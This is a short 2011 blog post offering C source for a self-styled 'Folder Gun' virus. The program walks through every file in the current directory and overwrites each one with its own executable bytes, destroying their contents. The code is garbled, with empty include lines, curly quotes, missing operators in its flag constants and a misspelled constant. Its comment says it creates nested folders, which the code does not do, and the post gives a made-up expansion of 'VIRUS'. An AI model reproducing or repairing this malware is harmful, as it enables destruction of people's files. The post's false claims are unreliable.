Create ur Own VIRUS

29/06/2011 21:52

 VIRUS is a computer program that can affect the various activities of the system.

The full form of VIRUS is

Vital Information & Resources Under Seize/ Various Information & Resources Under Seize

/*This is a simple program to create a virus in c

It will create Folder in a Folder in a Folder and so on .....*/

 

#include<stdio.h>

#include<conio.h>

 

#include

#include

#include

void main(int argc,char* argv[])

{ char buf[512];

int source,target,byt,done;

struct ffblk ffblk;

clrscr();

textcolor(2);

cprintf(”————————————————————————–”);

printf(”\nVirus: Folder Gun 1.0\nProgrammer:Soumya Sourabha Patnaik(SSP VIRUS)\n”);

cprintf(”————————————————————————–”);

done = findfirst(”*.*”,&ffblk,0);

while (!done)

{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folder Gun”);

source=open(argv[0],O_RDONLYO_BINARY);

target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);

while(1)

{byt=read(source,buf,512);

if(byt>0)

 

write(target,buf,byt);

else

break;

}

close(source);

close(target);

done = findnext(&ffblk);

}

getch();

}  

 

 

Blog by:

Soumya Sourabha Patnaik

Software Engineer, BlackBerry Technology